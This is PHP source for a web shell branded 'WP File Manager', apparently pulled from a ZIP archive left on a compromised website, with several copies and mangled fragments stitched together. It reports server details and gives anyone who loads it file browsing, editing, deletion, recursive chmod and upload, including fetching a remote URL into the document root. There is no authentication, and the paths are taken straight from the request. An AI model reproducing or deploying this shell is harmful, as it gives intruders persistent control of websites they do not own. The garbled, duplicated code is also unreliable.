green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëinfo@leonora.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëinfo@leonora.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax 